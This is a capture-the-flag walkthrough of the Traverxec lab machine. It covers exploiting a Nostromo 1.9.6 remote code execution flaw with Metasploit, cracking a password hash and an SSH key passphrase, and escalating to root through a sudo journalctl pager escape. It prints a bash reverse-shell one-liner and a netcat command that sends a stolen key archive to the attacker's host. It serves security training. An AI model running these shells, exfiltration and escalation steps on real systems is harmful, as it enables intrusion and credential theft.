Traverxec is an easy Linux machine that starts with exploitation of a Nostromo web server. The server is vulnerable to a remote code execution, and this allows me to gain an interactive shell access into the system. Enumeration of the system discovers a backup files that contains user SSH keys. The user is allowed to run a sudo on journalctl
binary, and this could be leveraged to obtain root access.
Skills Learned
- Path Traversal
- Sudo exploitation on
journalctl
Tools
- Nmap
- Metasploit
Reconnaissance
Nmap
An initial TCP scan discovers two open ports: SSH on port 22 and a Nostromo web server on port 80.
→ kali@kali «traverxec» «10.10.14.34»
$ nmap -p22,80 -sC -sV -oA nmap/10-tcp-allport-script-traverxec 10.10.10.165
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-13 16:11 EDT
Nmap scan report for 10.10.10.165
Host is up (0.44s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.71 seconds
Enumeration
TCP 80 - Nostromo
The hosted site is a personal website of David White.
At the bottom of the page, there is a contact form with 4 input vectors.
I submitted some values and then started to observe the network traffic, but nothing happen there.
I ran gobuster, but it also didn’t find any interesting.
Finding Vulnerabilities
From previous nmap
, nmap identified the nostromo
version to be 1.9.6. Feeding that version on searchsploit
pops a remote code execution exploit.
→ kali@kali «traverxec» «10.10.14.34»
$ searchsploit nostromo 1.9.6
--------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------- ---------------------------------
nostromo 1.9.6 - Remote Code Execution | multiple/remote/47837.py
--------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Foothold
Shell as www-data
Nostromo RCE CVE-2019-16278 (Metasploit)
Metasploit also has a module for the Nostromo 1.9.6 RCE and I will use that.
→ kali@kali «traverxec» «10.10.14.34»
$ msfconsole -q
msf6 > search nostromo
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/nostromo_code_exec 2019-10-20 good Yes Nostromo Directory Traversal Remote Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/nostromo_code_exec
msf6 > use 0
[*] Using configured payload cmd/unix/reverse_perl
Once all the configs are set, I will run the exploits. This results in an interactive shell access as www-data
.
msf6 exploit(multi/http/nostromo_code_exec) > run
[*] Started reverse TCP handler on 10.10.14.34:53
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.10.14.34:53 -> 10.10.10.165:52716) at 2021-07-13 16:31:29 -0400
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
hostname && ip a
traverxec
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
link/ether 00:50:56:b9:a0:f8 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.165/24 brd 10.10.10.255 scope global eth0
valid_lft forever preferred_lft forever
Shell Upgrade
I will create another interactive shell session so I can upgrade my shell with the PTY trick.
which bash
/usr/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.14.34/53 0>&1" &
On my new session:
→ kali@kali «traverxec» «10.10.14.34»
$ nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.14.34] from (UNKNOWN) [10.10.10.165] 52718
bash: cannot set terminal process group (421): Inappropriate ioctl for device
bash: no job control in this shell
www-data@traverxec:/usr/bin$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@traverxec:/usr/bin$ export TERM=xterm
export TERM=xterm
www-data@traverxec:/usr/bin$ ^Z
[1] + 3835 suspended nc -nvlp 53
→ kali@kali «traverxec» «10.10.14.34»
$ stty raw -echo;fg
[1] + 3835 continued nc -nvlp 53
www-data@traverxec:/usr/bin$ stty cols 127 rows 30
Privilege Escalation
Shell as david
Nostromo config
The nostromo
config file under /var/nostromo/conf
reveals that there is a .htpasswd
www-data@traverxec:/var/nostromo/conf$ cat nhttpd.conf
# MAIN [MANDATORY]
servername traverxec.htb
serverlisten *
serveradmin david@traverxec.htb
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html
# LOGS [OPTIONAL]
logpid logs/nhttpd.pid
# SETUID [RECOMMENDED]
user www-data
# BASIC AUTHENTICATION [OPTIONAL]
htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd
# ALIASES [OPTIONAL]
/icons /var/nostromo/icons
# HOMEDIRS [OPTIONAL]
homedirs /home
homedirs_public public_www
This.htpasswd
file contains a password hash for user david.
www-data@traverxec:/var/nostromo/conf$ cat .htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
www-data@traverxec:/var/nostromo/conf$ cat /etc/passwd | grep sh && ls -l /home
root:x:0:0:root:/root:/bin/bash
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
david:x:1000:1000:david,,,:/home/david:/bin/bash
total 4
drwx--x--x 6 david david 4096 Jul 13 06:57 david
Password Cracking
JtR
can recover the password easily.
$ ./john.exe hashes/traverxec-david.hash --wordlist=C:/tools/rockyou.txt
...[SNIP]...
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Nowonly4me (david)
1g 0:00:00:43 DONE (2021-07-14 03:44) 0.02307g/s 244113p/s 244113c/s 244113C/s NuiKo910..Noury
...[SNIP]...
But turns out it’s not a reused password.
www-data@traverxec:/var/nostromo/conf$ su david
Password:
su: Authentication failure
www-data@traverxec:/var/nostromo/conf$
Path Traversal - David home directory
The david home directory is not readable by others, but it allows execute permissions. With that, I can determine what files all are available under david’s home directory by spamming one character and leverage the tab completion. This is one of the benefits of doing a shell upgrade!
www-data@traverxec:/var/nostromo/conf$ ls -l /home/david/
ls: cannot open directory '/home/david/': Permission denied
www-data@traverxec:/var/nostromo/conf$ ls -ld /home/david/
drwx--x--x 6 david david 4096 Jul 13 06:57 /home/david/
www-data@traverxec:/var/nostromo/conf$ ls -ld /home/david/.ssh
drwx------ 2 david david 4096 Oct 25 2019 /home/david/.ssh
www-data@traverxec:/var/nostromo/conf$ ls -ld /home/david/user.txt
-r--r----- 1 root david 33 Oct 25 2019 /home/david/user.txt
Then, when I type public_www
(from nostromo config), the tab completion confirms that the folder is there. With r-x
, I can use ls -lR
command to list all the available contents recursively.
www-data@traverxec:/var/nostromo/conf$ ls -ld /home/david/public_www
drwxr-xr-x 3 david david 4096 Oct 25 2019 /home/david/public_www
www-data@traverxec:/var/nostromo/conf$ ls -lR /home/david/public_www
/home/david/public_www:
total 8
-rw-r--r-- 1 david david 402 Oct 25 2019 index.html
drwxr-xr-x 2 david david 4096 Oct 25 2019 protected-file-area
/home/david/public_www/protected-file-area:
total 4
-rw-r--r-- 1 david david 1915 Oct 25 2019 backup-ssh-identity-files.tgz
The backup-ssh-identity-files.tgz
seems interesting, I will grab that to my Kali.
www-data@traverxec:/var/nostromo/conf$ cat /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz | nc 10.10.14.34 53
On my Kali:
→ kali@kali «traverxec» «10.10.14.34»
$ nc -nvlp 53 > loot/backup-ssh-identity-files.tgz
listening on [any] 53 ...
connect to [10.10.14.34] from (UNKNOWN) [10.10.10.165] 52728
Passphrase crack
The backup file contains a set of SSH keys.
→ kali@kali «loot» «10.10.14.34»
$ tar -xvf backup-ssh-identity-files.tgz
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub
But, it is protected with a passphrase.
→ kali@kali «ssh-keys» «10.10.14.34»
$ ssh -i id_rsa david@traverxec.htb
Enter passphrase for key 'id_rsa':
david@traverxec.htb's password:
So I will convert the key to crackable format hash using ssh2john
.
$ /usr/share/john/ssh2john.py id_rsa > david_rsa.hash
→ kali@kali «ssh-keys» «10.10.14.34»
$ cat david_rsa.hash
id_rsa:$sshng$1$16$477EEFFBA56F9D283D349033D5D08C4F$1200$b1ec9e1ff7de1b5f5395468c76f1d92bfdaa7f2f29c3076bf6c83be71e213e9249f186ae856a2b08de0b3c957ec1f086b6e8813df672...[SNIP]...
JtR
recovers the passphrase to hunter
.
$ ./john.exe hashes/traverxec-david-rsa.hash --wordlist=C:/tools/rockyou.txt
...[SNIP]...
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter (id_rsa)
SSH - david
The key and the passphrase are work for user david.
→ kali@kali «traverxec» «10.10.14.34»
$ ssh -i ssh-keys/david_rsa david@traverxec.htb
Enter passphrase for key 'ssh-keys/david_rsa':
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Tue Jul 13 06:54:56 2021 from 10.10.16.7
david@traverxec:~$ id
uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
User flag is done here
david@traverxec:~$ ls -la
total 60
drwx--x--x 6 david david 4096 Jul 13 06:57 .
drwxr-xr-x 3 root root 4096 Oct 25 2019 ..
-rwxr-xr-x 1 david david 18992 Jul 13 05:43 47163
lrwxrwxrwx 1 root root 9 Oct 25 2019 .bash_history -> /dev/null
-rw-r--r-- 1 david david 220 Oct 25 2019 .bash_logout
-rw-r--r-- 1 david david 3544 Jul 13 06:57 .bashrc
drwx------ 2 david david 4096 Oct 25 2019 bin
drwxr-xr-x 3 david david 4096 Jul 13 06:56 .local
-rw-r--r-- 1 david david 807 Oct 25 2019 .profile
drwxr-xr-x 3 david david 4096 Oct 25 2019 public_www
drwx------ 2 david david 4096 Oct 25 2019 .ssh
-r--r----- 1 root david 33 Oct 25 2019 user.txt
david@traverxec:~$ cat user.txt
7db0...[SNIP]...
Shell as root
Enumeration
In david’s home directory, there is a folder called bin
. Under this bin
folder, there is a bash script.
david@traverxec:~$ ls -l bin/
total 8
-r-------- 1 david david 802 Oct 25 2019 server-stats.head
-rwx------ 1 david david 363 Oct 25 2019 server-stats.sh
When I run the script, I get the following results:
david@traverxec:~/bin$ ./server-stats.sh
.----.
.---------. | == |
Webserver Statistics and Data |.-"""""-.| |----|
Collection Script || || | == |
(c) David, 2019 || || |----|
|'-.....-'| |::::|
'"")---(""' |___.|
/:::::::::::\" "
/:::=======:::\
jgs '"""""""""""""'
Load: 18:24:49 up 17:04, 1 user, load average: 0.13, 0.04, 0.01
Open nhttpd sockets: 0
Files in the docroot: 117
Last 5 journal log lines:
-- Logs begin at Tue 2021-07-13 01:20:43 EDT, end at Tue 2021-07-13 18:24:49 EDT. --
Jul 13 17:16:02 traverxec sudo[24501]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty=/dev/pts/0 ruser=www-data rhost= user=www-data
Jul 13 17:16:04 traverxec sudo[24501]: pam_unix(sudo:auth): conversation failed
Jul 13 17:16:04 traverxec sudo[24501]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Jul 13 17:16:04 traverxec sudo[24501]: www-data : command not allowed ; TTY=pts/0 ; PWD=/dev/shm ; USER=root ; COMMAND=list
Jul 13 17:16:04 traverxec nologin[24564]: Attempted login by UNKNOWN on UNKNOWN
Sudo journalctl
Based on the contents of server-stats.sh
, user david
seems to be allowed to run journalctl
with sudo.
david@traverxec:~/bin$ cat server-stats.sh
#!/bin/bash
cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
But, when I run /usr/bin/sudo /usr/bin/journalctl
, it asks for a password.
david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl
[sudo] password for david:
Sorry, try again.
Then, I grab this line /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
and run it. This is what I get:
That means I can run the following command with sudo.
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
According to the GTFOBins, the default pager of journalctl
is less
. Now since it runs with root privilege, I can escape from the pager using !/bin/bash
.